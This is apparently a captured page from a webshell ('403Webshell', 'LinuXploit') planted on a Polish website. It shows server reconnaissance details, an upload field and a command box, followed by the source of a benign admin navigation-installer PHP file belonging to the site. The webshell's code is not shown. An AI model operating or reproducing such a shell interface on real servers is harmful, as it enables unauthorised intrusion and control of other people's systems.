403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/admin/polana-v167-instalator.php
<?php
declare(strict_types=1);
require_once dirname(__DIR__).'/includes/functions.php';
require_admin_role();
header('Cache-Control: no-store');header('X-Robots-Tag:noindex,nofollow');
$root=dirname(__DIR__);
$target=$root.'/includes/functions.php';
$private=dirname($root).'/.polana_v167_navigation_backups';
$manifest=$private.'/manifest.json';
$marker='<!-- POLANA_V167_MANAGEMENT_NAV -->';
$error='';$notice='';
function p167_nav_patch(string $source):string{
    $marker='<!-- POLANA_V167_MANAGEMENT_NAV -->';
    if(str_contains($source,$marker))throw new RuntimeException('Nawigacja V16.7 jest już zainstalowana.');
    $anchor='<a href="/admin/">Pulpit</a>';
    if(substr_count($source,$anchor)!==1)throw new RuntimeException('Nie odnaleziono jednoznacznego miejsca w nawigacji. Nic nie zmieniono.');
    $insert=<<<'HTML'

        <!-- POLANA_V167_MANAGEMENT_NAV -->
        <?php if (in_array($role, ['admin','editor'], true)): ?>
            <a href="/admin/polana-zarzadzanie.php">Zarządzanie</a>
            <a href="/admin/polana-menu-centrum.php">Menu</a>
        <?php endif; ?>
        <?php if ($role === 'admin'): ?>
            <a href="/admin/polana-seo-centrum.php">SEO i Google</a>
        <?php endif; ?>
HTML;
    return str_replace($anchor,$anchor.$insert,$source);
}
function p167_nav_write(string $file,string $data):void{
    $dir=dirname($file);$tmp=tempnam($dir,'.p167-');
    if($tmp===false)throw new RuntimeException('Nie można utworzyć pliku tymczasowego.');
    try{
        $written=file_put_contents($tmp,$data,LOCK_EX);
        if($written===false||$written!==strlen($data))throw new RuntimeException('Nie udało się zapisać kompletnego pliku.');
        @chmod($tmp,0644);
        if(!rename($tmp,$file))throw new RuntimeException('Podmiana pliku nie powiodła się.');
    }finally{if(is_file($tmp))@unlink($tmp);}
}
if(($_SERVER['REQUEST_METHOD']??'GET')==='POST'){
 verify_csrf();
 try{
    $action=(string)($_POST['action']??'');
    if(!is_file($target)||!is_readable($target))throw new RuntimeException('Brak czytelnego includes/functions.php.');
    if(!is_file($root.'/admin/polana-zarzadzanie.php')||!is_file($root.'/admin/polana-seo-centrum.php')||!is_file($root.'/admin/polana-menu-centrum.php'))throw new RuntimeException('Wgraj wszystkie pliki paneli, w tym V16.5 Menu, przed uruchomieniem instalatora.');
    $current=(string)file_get_contents($target);
    if($action==='install'){
        $next=p167_nav_patch($current);
        if(!is_dir($private)&&!@mkdir($private,0700,true))throw new RuntimeException('Brak możliwości utworzenia backupu poza WWW. Nic nie zmieniono.');
        if(!is_writable($private))throw new RuntimeException('Brak uprawnień do backupu poza WWW.');
        if(is_file($manifest))throw new RuntimeException('Istnieje manifest poprzedniej instalacji. Najpierw wykonaj rollback albo sprawdź poprzedni stan.');
        $stamp=date('Ymd_His').'_'.bin2hex(random_bytes(4));
        $backup='functions_'.$stamp.'.php.bak';
        if(file_put_contents($private.'/'.$backup,$current,LOCK_EX)!==strlen($current))throw new RuntimeException('Nie udało się bezpiecznie zapisać backupu.');
        @chmod($private.'/'.$backup,0600);
        $state=['before_sha'=>hash('sha256',$current),'after_sha'=>hash('sha256',$next),'backup'=>$backup,'installed'=>date(DATE_ATOM)];
        $json=json_encode($state,JSON_THROW_ON_ERROR|JSON_PRETTY_PRINT);
        if(file_put_contents($manifest,$json,LOCK_EX)!==strlen($json))throw new RuntimeException('Nie zapisano manifestu backupu.');
        @chmod($manifest,0600);
        try{p167_nav_write($target,$next);}catch(Throwable $e){@unlink($manifest);throw $e;}
        $notice='Zainstalowano. Nowe pozycje Zarządzanie, Menu i SEO są widoczne w górnym pasku.';
        try{admin_log('polana_v167_nav_install','Dodano bezpośrednie pozycje menu administracyjnego');}catch(Throwable $ignored){}
    }elseif($action==='rollback'){
        if(!is_file($manifest))throw new RuntimeException('Brak manifestu instalacji.');
        $state=json_decode((string)file_get_contents($manifest),true,512,JSON_THROW_ON_ERROR);
        $backup=(string)($state['backup']??'');
        if(!preg_match('/^functions_\d{8}_\d{6}_[a-f0-9]{8}\.php\.bak$/D',$backup))throw new RuntimeException('Nieprawidłowy manifest backupu.');
        if(hash('sha256',$current)!==($state['after_sha']??null))throw new RuntimeException('functions.php zmienił się po instalacji. Rollback wstrzymany, aby nie usunąć innych poprawek.');
        $oldFile=$private.'/'.$backup;
        if(!is_file($oldFile)||hash_file('sha256',$oldFile)!==($state['before_sha']??null))throw new RuntimeException('Backup jest niekompletny albo uszkodzony.');
        p167_nav_write($target,(string)file_get_contents($oldFile));
        rename($manifest,$manifest.'.restored_'.date('Ymd_His'));
        $notice='Przywrócono poprzedni pasek nawigacji. Pozostałe moduły pozostają na hostingu.';
    }else throw new RuntimeException('Nieznana operacja.');
 }catch(Throwable $e){$error=$e->getMessage();error_log('POLANA V167 installer: '.$error);}
}
$installed=is_file($target)&&str_contains((string)file_get_contents($target),$marker);
render_admin_header('Instalator Centrum Zarządzania V16.7');
?>
<style>.p167ins{max-width:950px;margin:20px auto 70px;padding:15px}.p167ins .panel{padding:22px;border:1px solid #d7e4d8;background:white;border-radius:16px;margin:15px 0}.p167ins .button{background:#24583d;color:white;border:0;border-radius:10px;padding:13px 17px;font:inherit;cursor:pointer}.p167ins .button.alt{background:#e6efe7;color:#285039}.p167ins .ok{color:#23783c}.p167ins .bad{color:#b1412e}.p167ins code{overflow-wrap:anywhere}</style>
<main class="p167ins">
<h1>POLANA V16.7 — jedno centrum zarządzania</h1>
<p>Instalator zmienia tylko linki w górnym menu administracji. Nie dotyka bazy danych, rezerwacji, dokumentów Word/PDF, bloga ani prywatnych kluczy.</p>
<?php if($error):?><p class="bad" role="alert"><?=htmlspecialchars($error,ENT_QUOTES,'UTF-8')?></p><?php endif; ?>
<?php if($notice):?><p class="ok"><?=htmlspecialchars($notice,ENT_QUOTES,'UTF-8')?></p><?php endif; ?>
<section class="panel"><h2>Stan: <?=$installed?'Zainstalowana':'Nieaktywna'?> nawigacja V16.7</h2>
<p>Po instalacji pracownik zobaczy bezpośrednio <b>Zarządzanie</b> i <b>Menu</b>. Administrator dodatkowo <b>SEO i Google</b>. Wszystkie narzędzia są widoczne w jednym centrum, bez sekcji „Więcej”.</p>
<p>Backup <code>functions.php</code> zapisujemy wyłącznie poza katalogiem WWW. Jeśli hosting nie pozwoli utworzyć kopii, instalacja zostanie przerwana.</p>
<form method="post" onsubmit="return confirm('Wykonać backup i dodać linki do górnej nawigacji?')"><?=csrf_field()?><button name="action" value="install" class="button" <?=$installed?'disabled':''?>>Zainstaluj górne menu</button></form>
<form method="post" onsubmit="return confirm('Przywrócić poprzednie menu, bez zmieniania innych modułów?')" style="margin-top:12px"><?=csrf_field()?><button name="action" value="rollback" class="button alt" <?=!$installed?'disabled':''?>>Przywróć poprzednią nawigację</button></form>
</section>
<section class="panel"><h2>Otwórz gotowe moduły</h2><p><a href="/admin/polana-zarzadzanie.php">Centrum zarządzania</a> · <a href="/admin/polana-seo-centrum.php">SEO / Google</a> · <a href="/admin/polana-menu-centrum.php">Menu</a></p></section>
</main>
<?php render_admin_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit